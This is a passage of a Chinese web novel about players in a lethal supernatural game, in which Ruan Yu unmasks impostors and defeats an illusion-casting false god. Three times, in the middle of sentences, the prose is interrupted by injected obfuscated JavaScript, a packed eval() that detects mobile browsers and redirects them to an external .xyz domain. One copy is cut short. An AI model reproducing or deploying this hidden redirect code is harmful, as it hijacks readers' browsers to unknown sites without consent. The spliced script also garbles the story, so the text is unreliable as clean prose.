他攥紧拳头,明显很不爽,甚至称得上愤怒。罗威自认为在他和阮钰的结盟中,他才是绝对的主导者,阮钰不过是个一无所知但实力稍强的普通人,最大的价值就是成为他的小白鼠。 但此时此刻,他却成了被威胁的小老鼠…… 现在,只要阮钰说他是假的,哪怕他是真的,那也成了假的。 偏偏阮钰猜的很准……她匕首指定的人还真特么是真正的他,他的复制品正在旁边偷笑。 阮钰面无表情:“发消息给我。” 罗威立刻照做,在游戏私聊里求饶:【姐姐我错了,咱们收刀好吗?你再玩一会儿我可就真被陈老虎砍死了。】 阮钰看着私信内容,手腕一甩,匕首飞向后方,精准快速地扎进假罗威的心脏。 后者嘴角的偷笑甚至还没隐藏起来,就已经瞪着眼睛,直挺挺地没了气息。 罗威松了口气,抖抖衣服,用冷风吹干背上的冷汗。 骤然转变的局面让其他人陷入了迷茫,尤其是陈老虎,挠着脑袋一脸不理解:“老妹儿,这个是真的?你没整错吧?” 阮钰没回答他,目光在另一个陈老虎身上停留,似笑非笑:“你们几个还要继续浪费时间吗?” 假陈老虎收敛了伪装出的粗莽气质,他冷冷盯着阮钰,喉咙滚动,发出了动听的女声:“你很好,你没让我失望。我知道你向赵临渊要了好处,没想到居然是这个……你赢了。” 不知道想到了什么,他嘴角扬起微微的弧度:“不过我也没输,因为我知道你又招惹了一个阴险的强敌。” 陈老虎的粗犷面容下发出了柔性的女性声音,画面的冲击力极强。 连陈老虎本人都觉得辣眼睛。 “陈老虎”意味深长地说:“阮钰,珍惜最后的珍贵时光吧,你即将失去被考验的资格,也将失去你的性命。” “我很遗憾,也很……期待。” 说完,她操控着复制品的身体朝阮钰挥了挥手,紧接着解除了对复制品的控制,几个复制品像流体一样融化,软绵绵地流到地上,化成一滩水泥色的灰色液体,顺着地板缝流淌到未知之地,直到完全消失不见。 阮钰盯着空荡的地面,若有所思。 “钰姐,她说的话是什么意思?她是什么谜语人吗?你们认识?她为什么说你会死?”魏柏图被复制品融化的场景吓得脸色煞白,定了定心神后才开口发问。 罗威翻着白眼:“死?谁杀的死她啊?” 陈老虎不爽地推开罗威:“阴阳怪气啥呢?能不能好好说话?” 阮钰目光无波无澜地撇了眼罗威,“心眼这么小?这就生气了?” “没有。”罗威嘴硬,他觉得自己没生气,只是很不爽。 不爽阮钰竟然拿他的性命做要挟。 更不爽阮钰瞬间调转了二人在结盟里的地位,让他落了下风。 阮钰没有理会他的情绪,目光转向被毁的两幅画,皱眉思索。 卫曦的话是什么意思? 关卡为什么还没结束? 茶几上的画带来了空间的束缚。 墙上的黑色油画引起了时间的错位。 卫曦的复制品加大了关卡的难度。 三道难题都被完美解决,但橡木门没出现,大家依然被困在这里。 难道还有别的尚未发现的难题? “大家再找找线索。”阮钰冷静地吩咐下去。 团队几人立刻散开,罗威走到阮钰身边,刚刚的不愉快被二人默契地无视,像之前一样交流信息,“阮钰,你在想什么?还有什么线索吗?” “我在想,我们为什么还没通关?”阮钰说,“我总觉得我们还没有碰触到这个关卡的真正核心,夏茵给我们的提醒是‘不要相信身边的任何人’,但目前我没发现这条信息能用在什么地方。” “嗯……”罗威思考了一下,“也不能排除她说谎的可能吧,或许这根本就是她胡说八道的?” 阮钰不赞成地摇头。 她不认为会有人在这种话题上开玩笑。 如果夏茵真是胡说八道的话,那她就没必要在私信里对她保持戒备,甚至可以再胡诌一些其他信息来混淆视听,反正没人能验证真假。 但罗威的话提醒了她。 既然想不通,不如直接问问本人,或许能得到什么新的线索。 她点开私聊页,在队员里寻找夏茵的名字。 目光在其他队员头像上扫过,最终停留在某处。 她死死盯着面前的虚空,藏在窥神眼镜后的目光骤然冷冽如冰。 【田野】 【职业:初中教师】 【年龄:27】 【积分:0】 【当前任务进度:0】 【该队员已死亡】 【卢远】 【职业:保安】 【年龄:26】 【积分:0】 【当前任务进度:0】 【该队员已死亡】 她缓缓抬头,看向不远处正在壁炉前搜寻线索的田野和卢远。 他们存在感不高,没有优秀的头脑和强健的体魄,没有冒险的胆量,也没有牺牲自我的伟大觉悟。 但他们始终在发挥自己的作用,始终在努力的活着。 他们现在也确实好端端的活着。 可是,在游戏里,他们已经死了。 阮钰深吸一口气,燃烧的壁炉熏热了她的脸,再次带来了让人怠懒的温暖,她的大脑不受控制地产生了停下的想法—— 这里很温暖,很安全。 危险已经被她解决了。 她现在很累了,她应该休息了。 就在这里停下吧。 “原来是这个时候吗?” 阮钰捡起地上的匕首,看着锋利刀刃上未干涸的血迹,自顾自地呢喃:“这是我唯一会恍惚的地方……原来,从我踏入这间屋子开始,关卡就已经开始了吗?” 她罕见地笑了。 “特殊关卡内无法使用私聊功能,我却用它来验证真假……我居然忽视了如此关键的漏洞,并自以为是的夸赞自己……你把我耍的团团转。” 阮钰自嘲地笑着,另一只手伸进口袋,拿出了之前魏柏图塞给她的糖块。 拆开糖纸,一颗圆滚滚的眼球静静躺在她的手心,漆黑的眼仁注视着她,充斥着扭曲的得意和癫狂。 她当时为什么没意识到蹊跷呢? 魏柏图正是年轻气盛的年纪,他身上有肌肉,证明他常年健身,气血旺盛,大概率没有低血糖之类的毛病,怎么会随身携带糖块? ……不,她其实是怀疑过的。 因为她没有吃这颗糖。 她始终戒备着其他人,哪怕是已经并肩战斗过的队友。 只是她的戒备心仍然不够。 她记住了此刻的感受,并再也不会忘记。 耻辱。 被人耍弄的耻辱。 她把眼球扔进壁炉。 壁炉里正在燃烧的火焰骤然停止,像正在播放的电影被按下了暂停键。 屋子里的其他人同时停下动作,四肢僵硬扭曲地转身,齐刷刷地死死盯着她。 呼—— 一阵阴风凭空出现,吹灭了壁炉的火焰,也吹灭了墙上的烛火。 黑暗如潮水般充斥着整个空间,阮钰身边传来有如海水般的潮湿凉意,她尝试抬手,却感受到了水的阻力。 她感觉到自己的双脚不受控制地离开了地面,口鼻被腥臭的古老海水充斥,但呼吸却没有受到影响,她能感觉到周围的水被什么东西拨动,有什么东西在她身边遨游。 她攥紧了自己的匕首。 一根手臂粗的粘腻触手从水下快速伸出,缠上她的脚腕,试图把她扯进无边深海。 阮钰立刻弯腰,抬起匕首,眼前充斥着黑暗,她什么都看不见,遵循着自己的判断,朝触手的位置狠狠地砍下去—— 触手感受到了她的动作,瞬间逃离,她的匕首刺了个空。 幸好有海水的阻力,卸了她一部分的力量,否则匕首一定会刺入她的小腿。 “被刻上‘追杀’印记的叛逃神使……不必挣扎……大海是诞育你的摇篮,也是你死后灵魂的栖息之地……” 悠远的古老声音从四面八方传来,似钟鸣,似梵音,涌动着让人无法抗拒的魔力。 阮钰沉浸在黑暗中,张开嘴,腥臭的海水涌入口腔:“我是‘神使’,对吗?” “……” 阮钰自顾自的说:“我没记错的话,神裔游戏里也有一个被称为‘神使’的身份,游戏里的‘神使’和你们这些怪物选择的‘神使’,是同一个人吗?” “……”那道声音纠正她:“怪物吗?不,你应当称我们为……‘神明’。” “狗屁神明。”阮钰说。 对方并未生气,反而发出了一声悠悠的叹息:“……早该知道你不会顺从,那么,这就是你的唯一结局了……” “将死的叛逃的神使……” “你本能活下去的……我不应该出现,但‘伥鬼’为你刻上了‘追杀’印记,你注定要面对最强大的敌人……死在‘神明’面前,不是你的耻辱,而是你的无上光荣……” “安息吧,大海的孩子……” 海水突然开始翻涌,阮钰感觉自己好像回到了黑色油画里的世界,海浪翻涌高达百米,把她卷在浪潮中颠簸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482541|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘荡,巨大的海浪砸得她头昏脑胀,找不到半点归处,只能随着洋流漂泊,直到死亡降临。 “这是你的命。”那道声音说。 命吗? 阮钰在海水中睁开眼,她忍着洋流击打带来的痛苦,忍受着海水的恶臭味道,眼睛不知疲惫的环视四周,试图寻找最后的生机。 她不能认命。 一道金色的光芒在漆黑的海水中悠悠闪烁。 金光很暗淡,很不起眼,尤其窥神眼镜还在她和复制品的争斗中被划了一条深深的刻痕,某种意义上也影响了她的视野。 她注视着那道金光,凭借着直觉,奋力冲开海水的束缚,朝着金光的方向游去。 暗处的东西似乎发现了她的意图,本就汹涌的大海再次翻起滔天巨浪,恐怖万倍的巨浪朝着水里的女人狠狠地砸了下去,在百米高的海浪面前,阮钰弱小得像一只蝼蚁,做着可笑的挣扎。 她咬牙想要对抗海浪的力量,却不可避免的被砸晕……失去意识前的瞬间,她扯出苦涩的笑容。 没想到这就是她的结局…… “伥鬼”的“追杀”……赵临渊吗? 她记住了。 无尽的黑暗席卷了她的理智,阮钰彻底陷入昏迷。 …… 一楼。 赵临渊看着再次死亡过半的队员名单,缓慢地擦拭着脸上的血迹。 【阮钰生命值:10/100】 只剩十点了? 赵临渊露出大仇得报的快意笑容,咧嘴大笑:“预备神使?那又怎么样?这是我的地盘,是我的主场。” 仇人的死亡,让他的心情大为愉悦。 即使阮钰的生命值还剩十点,他也已经把阮钰当成了死人——十点的生命值,意味着哪怕只是摔一跤,她都会惨死当场。 但他很好奇阮钰的死法。 是画中世界切换时她被怪物追上了? 还是死在了无止境的空间束缚? 总不能是关卡神明亲自降临吧? 算了,不重要,死了就行。 赵临渊心情愉快地哼着歌。 “队长好悠闲。”女人冷漠的声音在他背后响起,“看着那么多队友因你的隐瞒和挑拨而死,你似乎并不觉得愧疚。” 赵临渊转身,看着从黑暗中走出来的西装女人,脸上挂起虚伪的灿烂笑容,故作无奈地解释:“季律师误会了,他们不是因我而死,这是游戏不可避免的牺牲。” 他打量着季胜男西装上的斑斑血迹,从玩家们留下的物资中拿出一瓶水:“季律师杀了那么多人,一定累了吧?来喝口水。” 季胜男一巴掌把水拍到地上,眼神冰冷,一字一顿:“杀了他们的不是我,是你。” “赵临渊,你就是个卑鄙的禽兽。” 初见时,女人穿着专业的西装和长裤,头发梳的一丝不苟,指节处有常年握笔留下的老茧。 她本是个专业的律师。 但此时此刻,她的西装染着血,露在空气中的皮肤上沾着斑驳血迹,手腕因杀了太多人而不受控制地颤抖着。 她不再是律师,而是从地狱爬出来的恶魔。 赵临渊对她如今的形象表示万分满意,叹息着说:“不必对我有如此大的恶意,季律师,我已经遵守了我的承诺,开启特殊通道将你带了出来。至少我是守诺的,不是吗?” 季胜男攥紧拳头,一把推开赵临渊,自顾自地坐到椅子上,捂着太阳穴,掩盖着她过于剧烈的情绪波动。 ……她亲眼看着队友们在她面前自相残杀。 他们为了积分,为了赵临渊许诺的“特殊通道”,也为了能活下去而大打出手…… 最开始,她以为赵临渊只是隐瞒了通关信息,还曾妄想靠她的智慧和逻辑,带领大家通关这场游戏。 可在幻境关卡内,赵临渊给所有队员都发了私信。 【隐藏任务:只要队内只剩一人,便可开启特殊通道,无条件通关本局游戏。】 本就恐惧的玩家们为了所谓的“隐藏任务”而自相残杀,他们不再想着通关,不再想着团结,心里只有杀死其他人的本能冲动。 季胜男试图阻止过。 她失败了。 她差点也死在被她救下的队友手中,为了自保,她不得已杀了对方,然后…… 一发不可收拾的杀了所有人。 她不会原谅赵临渊。 永远不会。 “赵临渊,我希望你能一直保持着现在的主导者地位。”季胜男凛声说,语气里带着不加掩饰的杀意,“否则,我会杀了你的。” 赵临渊哈哈大笑。 和暴躁的阮钰比起来,季胜男的威胁像在哈气的小猫——不仅毫无杀伤力,还只会让对方觉得可爱。 “好的,季律师,我记住了。”赵临渊笑眯眯说,“你不是想救人吗?我给你一个救人的机会,怎么样?” 他看向阮钰所在的楼层,嘴角勾起意味不明的弧度。 18. 伥鬼走狗 季胜男踏上了木制楼梯板。 经过二楼时,她看到了满地感染者的尸体,也看到了讲台上那滩恶心的黑色脓液。 “二阶感染者居然能被击杀……?” 她惊疑不定地退到了另一个房间,却看到了几乎没变化过的教室,这让她更觉得不可思议。 她所带领的小队通关二楼的方式是牺牲了两个队友,让他们一直击打玻璃,牵制住怪花的行动。其他人则冲入第一间屋子,把所有会引起感染的东西都毁掉。 黑板上的文字擦得干干净净,书本扔进火堆,感染者全部杀死,已被污染的队员全部处决。 当感染源全部消失后,离开的通道被打开,他们成功逃脱,却付出了两条生命的惨痛代价。 她曾试图攻击怪花,但怪花太强大了,光是声波攻击就杀死了三四个队友,即使玻璃碎裂的声音牵制了它,它的枝叶和藤蔓仍旧坚不可摧,让她束手无策。 它完全没有弱点。 这个小队在没有解决感染源、没有毁掉圣书、随时可能被感染异化的情况下,竟然击杀了守关的二阶感染者。 他们到底怎么做到的? 她四处打量,注意到了地上的黄铜色弹壳,她把弹壳揣进口袋里,再次踏上了前往三楼的楼梯。 木质地板嘎吱作响。 她看到了在楼梯口靠墙浅眠的女生。 橡木门紧紧关闭,周围没有其他人。 女生看上去似乎很疲惫,她一只手抱着肩膀,另一只手按在腰部口袋的位置,这是明显的防御姿态,一旦察觉到半点风吹草动,她会立刻发动攻击,哪怕她连眼睛都没睁开过。 出于谨慎,季胜男保持着三米的安全距离,压低声音开口:“你好?” 女生瞬间睁眼,从地上跳起来,警觉地盯着她,眼神里还有点困意,“你是谁?你不是我们小队的人。” 季胜男表明来意:“我叫季胜男,我已经通关了。赵临渊委托我来这里找两个人。” 女生语气愈发冰冷:“赵临渊的委托?你是那个人渣的走狗?滚!不然我杀了你!” 她从腰后拔出黑色甩棍,用力在空中甩了一下,空气摩擦,发出闷重的声音。 季胜男耐心解释:“我不是他的走狗,接受他的委托是因为我不想看到更多伤亡,我想要尝试救出更多的人。” 她的发言很正义也很真诚,却没能取得对方的信任。 季胜男干脆直接挑明目的:“赵临渊让我找两个人,准确的说是一个人和一具尸体。那个人叫夏茵,那具尸体叫阮钰。” 女生握着甩棍的手微微停顿,面无表情地说:“我就是夏茵。” 季胜男还没开口,夏茵冷声追问:“赵临渊要阮钰的尸体做什么?” 季胜男摇头:“我不知道,但他看起来很讨厌阮钰,我猜测阮钰的死和他有关,否则他不至于非要我把阮钰的尸体带下去。” 夏茵眯了眯眼,意识到她之前误会了阮钰。 阮钰得到权限不一定意味着她和赵临渊达成了合作……也可能是通过别的方式。 而这件事让赵临渊彻底憎恨上了阮钰,憎恨到要亲眼见到她的尸体才能解气。 敌人的敌人就是朋友。 夏茵收起甩棍,冷冷地撇着季胜男:“阮钰是我的好朋友,我会去找她。你就站在这里,不许跟过来。” 说完,她快速转身,大步迈入橡木门后的空间。 季胜男被丢在原地,思索后,她无视夏茵的警告,跟着进了木门。 橡木门虽然是关闭的状态,但空间还能自由进入,她们踏入了光明温暖的休息室,里面的壁炉仍然在燃烧着。 “他们还没通关?”季胜男看着空空如也的屋子,震惊地说:“竟然一个都没通关?” 她开始怀疑自己的判断,怀疑这支小队是否真有击杀二阶感染者的能力。 如果他们连二阶感染者都能击杀,那就不该在幻境关卡内全军覆没,至少也该有几个活口。 夏茵不悦地瞪了她一眼,到底还是没再赶人。 她们在屋子里四处寻找,最终在壁炉旁边的天花板上找到了两具被吊死的男性尸体。 季胜男回忆起了她的队员们死在幻境中的样子,语气复杂:“他们被幻境吞噬了,已经救不回来了。” 死在幻境中的人,灵魂将被献祭给远古的伟大神明,肉身于万年后腐烂,归于污秽的泥土。 这是她在关卡内找到的线索。 夏茵沉默不语,继续寻找,却没能再找到其他尸体。 “其他人还没死。” “阮钰的尸体不在这里,她也没死。”夏茵狐疑,“你确定赵临渊让你找阮钰的尸体?” 季胜男说:“我确定。” “呵。”夏茵冷笑,意味不明地摇了摇头。 二人坐在沙发上静静等待。 大约过了十分钟,两道重物落地声扑通扑通地接连响起。 两个男人凭空出现,同时从天花板上掉下来,身体重重砸在木制地板上,疼得他们龇牙咧嘴。 “我靠……真特么疼……”陈老虎捂着腰,痛苦地爬起来,他身上的衣服被撕成了布条,破破烂烂地挂在肩膀上,带着潮湿的海水和泥土,后背有一道长长的血红色伤口在汩汩流血,看起来像是经历了一场残酷的血战。 “谁说不是呢!”魏柏图从地上爬起来,状况看起来也不太好,他的双腿因运动过度而无力地哆嗦着,脸色煞白。 俩人互相看了一眼,停顿片刻,陈老虎小心翼翼地问:“你暑假挣钱了没?” 魏柏图同样小心回答:“没有,还被骗了五百……你呢?你妹妹……” “陈灵儿!”陈老虎一拍大腿,哭嚎着抱住魏柏图:“呜呜呜老弟啊!咱们可算活下来了!太他妈吓人了卧槽!” “你都不知道,我他妈一个人打好几十只怪,还他妈有伪人糊弄我……真他妈歹毒!” 魏柏图跟着抱头痛哭:“哥,我知道,我可太知道了!那他妈两个世界一直切换,我一会儿在屋里一会儿被鬼追,结果那他妈两个世界全是假的!” 俩人嚎了半天,完全没察觉到沙发上还有别人。 最后还是夏茵忍无可忍,冷冷出声:“哭完了吗?哭完了能安静点吗?” 二人的哭声戛然而止。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501550|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……卧槽!你们他妈谁啊?” 季胜男和夏茵简单的做了自我介绍。 魏柏图茫然地哦了一声,看这俩人也不太好惹,识相地没再开口,把自己的衬衣撕下来一块,帮陈老虎包扎了伤口。 又过了五分钟左右,天花板上又掉下来一个人。 罗威的右胳膊以一种过度扭曲的姿势拧向身后,嘴角流着血,一只眼睛肿着,鼻子被人打歪,看起来比陈老虎二人还要狼狈百倍。 魏柏图和陈老虎急忙把他扶起来。 “呸!他妈的……”罗威在二人的搀扶下坐在了地上,吐了口血沫,用衣袖擦了擦嘴角的血,第一次在外人面前露出阴险歹毒的笑容:“赵临渊,你大爷的……老子迟早他妈的亲手弄死你……” 他看了眼自己断掉的右臂,咬咬牙,对魏柏图说:“你把陈老虎的衣服撕下来当绳子,然后把我的胳膊绑死在身后,别让断臂影响我的行动。” 魏柏图目瞪口呆:“直接绑?生绑啊?不治疗一下吗?” 罗威脸色阴沉:“治不了,这不是脱臼,我的胳膊是赵临渊拧断的,这条胳膊的所有骨节都断了,要想治疗就只能去医院。现在以通关游戏为主,不影响活动就行。” 陈老虎的衣服已经成了布条,魏柏图轻而易举就将其彻底撕成了几根绳子。 他看着罗威的断臂,不忍直视地闭了闭眼。 实在有点太惨了。 罗威的手腕被一百八十度地向后翻折,小臂和大臂间的关节也被生生地扭断,皮肉鲜血淋漓地绽开。大臂和肩膀的连接处也被折成了扭曲的角度,整条手臂被人想玩偶一样随意扭曲,彻底失去了行动能力。 偏偏还没有彻底断掉,稍微一碰又会带来钻心的疼。 罗威的想法是直接把手臂绑在身后,就当没有这条胳膊,以免在战斗时因为被碰到了断臂而影响行动速度。 魏柏图虽不忍,但也知道严重性,只能上手把他断掉的关节彻底掰到和背部完全贴合的角度。 他每碰罗威一下,后者都疼得浑身颤抖,罗威死死咬着衣袖,忍受着非人的痛苦,好几次都疼得昏迷过去,又被生生疼醒。 过于惨烈的场面让沙发上的二人也难得动容。 “到底怎么回事?”季胜男语气复杂地问,“赵临渊好像不会亲自动手吧?他为什么要这么对你?” 等魏柏图包扎完,罗威被扶到沙发上休息,他一边大口喘着气,一边冷笑说:“那是你们的价值不值得让他亲自动手……他明知道我来头大,还他妈敢这么嚣张……敢在太岁爷头上动土,老子想知道他到底有几条狗命啊?” “他想杀我,但他做不到,他被游戏规则限制住了,所以用这种阴损的招数,想让我死在关卡里。”罗威喘着气,阴恻恻地说:“但没关系,我收集的东西够多了,幸好闯关的时候把本子藏起来了,不然被他找到了还真不好办……我可能会死,赵临渊也别他妈的想活。” 他骂的咬牙切齿,等缓过来后目光在周围寻找他要托付秘密的人,却找了个空。 罗威紧皱眉头: “阮钰呢?你们都出来了,她怎么还没通关?” 19. 神明?伪神? 他的问题一棒子敲醒了陈老虎和魏柏图。 二人这才后知后觉的反应过来,目光连忙在四处寻找队友,很快就看到了田野和卢远的尸体,沉默了几秒后又继续寻找阮钰的身影。 他们现在已经做到平静地接受身边人的死亡了。不仅因为这是无法逃避的现实,也因为他们在幻境里遭受过的绝望追杀。 在那种绝望的境况下,总是会有人死的。 “没找到钰姐的尸体,她还没死!”魏柏图找了一圈,惊喜地说,“这是好事!” 罗威皱眉,他不太认同魏柏图的话,转头看向沙发上的两个人。 夏茵他有点印象,于是又看向另一个陌生面孔:“你又是哪位?” 季胜男再次做了自我介绍,并说明了来意。 听到赵临渊让她来找阮钰的尸体,罗威的表情凝重起来。 他因为身份和赵临渊处于敌对阵营,但还没来得及对赵临渊下手,就被打成了残废。 阮钰可是一拳一拳地把赵临渊打死了两次啊。 以赵临渊的记仇程度,他都不敢想象阮钰会面对什么样的绝境。 “……我觉得我们可以考虑给她收尸了。”罗威郑重地说。 …… 墨黑色的大海中央。 阮钰静静地飘在海面上,某一刻,她的手指微微弯动,随后艰难地睁开了眼。 疼,很疼,每个骨节都叫嚣着疼痛,身上没有一点力气,眼前一片黑暗,能感觉到的只有冰冷恶臭的海水。 “我还没死?” 她四肢无力,匕首也不知道飘到了哪里,她重重咬了一下舌尖,疼痛激醒了迷蒙的大脑,口腔里充斥着血腥气,眼睛下意识寻找光源,最终停在某处。 金色的光芒在海水深处静静闪烁。 阮钰毫不犹豫地一头扎进海水里,或许是她没有力气的原因,周围的海水像是凝固的坚硬墙面。她是被封在墙里、用手指和血肉为自己挖开一条生路的濒死者。 她追寻着金色的光芒,拼命地做着挣扎,海面并不平和,永不停息的巨浪打破了难得的平静,它再次翻涌着,一次又一次地把她卷回海面,让她的所有努力变成蝼蚁无用的挣扎。 阮钰是个不会放弃希望的犟种。 她重复着奔向唯一的光明,又被冰冷的海水送回原地,十次,二十次……她坚持不懈地挣扎着,忍受着痛苦,却在某一刹那突然清醒过来—— “我在做什么?” 她骤然清醒,一盆冷水倾泻而下,把她从迷茫和无望的努力中彻底浇醒,并发出了直击灵魂的自我疑问。 她在做什么? 她到底要追寻什么? 她为什么笃定那道金光就是通关的线索? 之前被戏耍的感觉还不够耻辱吗?为什么又走上了被设定好的道路? 冷汗渗满全身,她停下所有动作,闭上双眼,嘴角再次勾起自嘲的弧度。 “你又在戏耍我,‘神明’。” 没有人回答她。 她却自顾自地继续说着,“你让我进入绝境,又设计了一道希望的光,你让我追寻着光,却又给我设下了无数障碍,只等着我被不存在的希望自缚手脚,活活累死在起点。” “你的能力是构造幻境,那就意味着我看到的一切都是不存在的虚妄……我看到的都只是你想让我看到的……如果我看不到呢?你又会让我看到什么?” 她知道该怎么通关了。 “我什么都不必相信,我只需要相信我自己,‘我’才是世界的中心,‘我’是一切的伊始和结束,这里的一切因‘我’而生,因‘我’而死。” “我说的对吗,‘神明’?” 黑暗中传来了窸窸窣窣的奇怪声音。 有什么东西坐不住了。 对方试图回答她,但这一次,阮钰选择主动无视它的存在。 她闭着眼,坚定地默念着自己的名字,摒弃大脑里存在的所有复杂思绪。 末日,精神污染,神裔游戏,伥鬼赵临渊,代理人卫曦,夏茵,罗威,“神明”…… 所有的一切都被她抛之脑后。 随着她的大脑放空,周围涌动的海水不知何时彻底的消失了,腥臭的海腥味消失无踪,那道金光也不知去处。 黑暗被驱散,她眼前缓慢地出现了一片黑色的大陆。 她没有睁眼,却真切地看到了那边黑色土地的存在。 那片土地上静静地站着一个“人”。 不,那不是人。 它穿着黑色的长袍,斗笠似的帽子罩在头上,举着两只袖子,袖子里伸出细长滑腻的黑色触手,两根触手虔诚地捧着一本金色的书籍。 见到阮钰时,它摘下帽子,脱掉长袍,露出了本容。 只是一个过于丑陋的怪物。 它的头是鲤鱼和青蛙的结合体,两只圆圆的眼睛长在脑袋两侧,一半的眼珠暴突在空气里,眼皮似乎无法眨动,因而它的眼睛是干涸的,覆盖着一层白膜,像死了许久的鱼。 厚重的黑色袍子里隐藏着触手,随着袍子的掉落,上百只触手扭曲地伸展着,触手上密密麻麻地遍布恶心的眼球,所有眼球都在注视着阮钰,眼球里的情绪充斥着癫狂、得意、和期待。 ——它在期待什么呢? 它期待自己表露出害怕和恐惧的情绪,亦或者是某些厌弃和嫌恶。 阮钰静静地想。 她记起来了,她曾见过这只怪物的画像。在二楼教室里的无主书籍上,印着这只怪物的图画。 书…… 她的眼神转向它手上的黄金书。 又是书。 自从踏入这栋楼,她见到最多的东西不是怪物,而是书籍和文字。 二楼黑板上的扭曲文字,桌上没有主人的书籍与笔墨,在给感染者授课的怪花讲师,三楼阅览室的巨大书架上的书籍藏品,连幻境内的怪物都在看书……除去未被探索的一楼,书籍几乎无处不在。 书籍,象征着知识的洗礼,意味着认知的丰富。 它并非无缘无故的出现,它数次试图引导她的思想,以某些契机为线索,带领她探索和怪物神明有关的历史,并试图将她带回亿万年前的古老时代。 如果顺着它的引导,她将会踏入真正的幻境。 她会沉迷于怪物的世界,会忘记思想和自我,彻底沉沦在亿万年前的古旧时代,直到那些丑陋的神明彻底占据她的思想和躯壳,直到她变成那些被污染的怪物,直到—— 她与它们融为一体。 怪物感知到了面前人类的情绪变化,它似乎没有了能操控幻境的力量,这样的变化使它不安,它的触手急躁地晃动着,成千上万只眼球慌张地眨动,试图与阮钰交谈:“你不觉得恶心吗?不会厌恶吗?……你难道不好奇一切的根源吗?” 阮钰缓慢抬眼,投去了蔑视的目光。 “你只是一个靠负面情绪汲取力量的虚假神明,没有任何值得我付出情绪的意义。” “滚开吧,丑陋的伪神。” 她的蔑视如同一柄利剑,彻底撕开了伪神的假面,将被隐藏在黑暗中的真相拿到了光明之下。 所谓神明,只是一个试图扭曲她的认知、让她陷入无尽的恐惧、又让她死在自己恐惧中的怪物而已。 她越恐惧,所面对的幻境便越残酷,残酷的幻境将带来更深切的恐惧,无尽循环下去,直到她彻底地死在自己想象的危险之中。 只要她不再恐惧,它便再没有任何手段了。 这是她突然意识到的真相。 她曾被幻境中的海浪拍晕过去,如果那所谓的“神明”真的无所不能,那她早该死在不断翻涌的海水里。 但她晕倒时,情绪瞬间停止,没有了维持幻境的情绪来源,危机也就不复存在,直到她睁眼苏醒,后知后觉地意识到了周围的危险和死亡的降临,足以杀死她的海浪才再次出现。 是她赠予了“神明”杀死她的能力。 现在,她要收回她的赠予,并将“神明”拉下神坛。 怪物身体开始颤抖,它读取到了面前人类叛逆且荒诞不经的渎神思想,它为之愤怒,声音变得激昂高亢,手里的黄金书被触手紧紧地缠绕着,“……你在亵渎神明!叛逃的神使……你完全的背叛了‘神’!” “神明无所不能,神的能力岂是你能窥探……你在自找死路!” 阮钰好笑地摇了摇头,看着丑陋的怪物情绪失控,甚至煞有介事地指责她,只觉得万分可笑。 “你急了,所以我猜的是对的,你只是一个‘伪神’。”她缓慢地走到怪物面前,伸出手,在它缠绕的触手之间拿走了黄金书,“我不知道是否有真正的神明,但我现在确信,你这个‘伪神’是无法伤害我的。” “你只是一个假借‘神’之名的丑陋怪物。” “我不会再给你伤害我的能力,并且,我会亲手杀了你。” 话音落下,她伸出右手,丢失的银白色匕首凭空落入她的掌心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阮钰算了一下,从出门到现在,她杀了不少感染者,但从来没出现过这个页面。 看来获得积分和经验值也是需要门槛的,普通的感染者连成为经验值的资格都没有,而三阶感染者却有着能团灭整个团队的恐怖能力。 她首次清晰地认识到了游戏的难度。 这游戏到底是什么东西设计出来的。 积分和经验值也不知道有什么用。 三楼出现了三阶感染者,那四楼是不是有四阶感染者,顶层是不是有五阶感染者? 不如直接整死她算了。 她烦躁地吐了口浊气,半分钟后,周围的幻景彻底消失,取而代之的是明亮温暖的阅览室。 和其他人从天花板上掉下来的方式不同,阮钰就那么静静地出现在原地,除了头发和衣服湿答答地贴在皮肤上,整个人看起来从容不迫。 相比之下,她的其他队友就惨得多了。 魏柏图是最先开口的,表情欣喜:“钰姐!我就知道你没事儿!” 阮钰眯眼看向他,想起了之前那颗“糖果”,在魏柏图的喜悦目光中,一脚踹中他胸口。 她并没用力,所以魏柏图只是被踹倒,而不是飞出去。 即使如此,他还是捂着胸口,故作柔弱地抬头,泪眼汪汪地控诉阮钰的无情:“呜呜呜,钰姐,我这么关心你,你却这么对我……我要闹了,我真的要闹了!” 阮钰平静地说:“不是说过见面要先验证真假吗?我这是在自证。” 魏柏图语塞。 她又看向其他人。 陈老虎被看的一激灵,立马摆手:“不用了嗷大妹子,我绝对是真的!……哦对,关卡结束了!门已经开了!不用再证明了!” 他连忙指着阮钰身后的大门,禁闭的厚重橡木门此刻敞开着,昭示着关卡的结束,也昭示着暂时的安全已经降临。 阮钰失望地收回目光,看向沙发上只有一条胳膊的罗威,“你怎么回事?” 罗威咬牙:“赵临渊干的……别提了。” 她又看向另外两个陌生女人,皱了下眉:“你们两个又是哪位?” 夏茵和季胜男分别做了自我介绍。 